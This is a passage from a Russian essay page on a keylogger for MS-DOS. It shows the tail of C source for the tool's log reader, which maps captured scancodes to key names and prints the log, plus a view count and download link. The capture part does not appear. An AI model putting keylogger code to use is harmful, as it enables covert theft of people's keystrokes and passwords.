Реферат: Кейлоггер под MS-DOS

case 83: sprintf(str, "%s %s", str, "Del"); break;

case 28: sprintf(str, "%s %s", str, "Enter"); break;

case 15: sprintf(str, "%s %s", str, "Tab"); break;

case 41: sprintf(str, "%s %s", str, "` or ~"); break;

case 72: sprintf(str, "%s %s", str, "UpArrow"); break;

case 80: sprintf(str, "%s %s", str, "DownArrow"); break;

case 75: sprintf(str, "%s %s", str, "LeftArrow"); break;

case 77: sprintf(str, "%s %s", str, "RightArrow"); break;

case 58: sprintf(str, "%s %s", str, "CapsLock"); break;

default: sprintf(str, "%s UNKNOWN KEY #%d", str, scancode);

}

}

int main()

{

printf("\r\n\r\nKeyLog`s Reader v1.0 Copyright (c) Pashix, 2004\r\n\r\n");

in=fopen(FILENAME, "rb");

if(!in)

{

printf("Error while open file, halting...\r\n");

return 1; // Если файл не удалось открыть - выходим из программы

}

while(!feof(in))

{

fread(&scancode, 1, 1, in);

convert(scancode, str);

printf("%s\r\n", str);

}

fclose(in);

return 0;

К-во Просмотров: 450
Бесплатно скачать Реферат: Кейлоггер под MS-DOS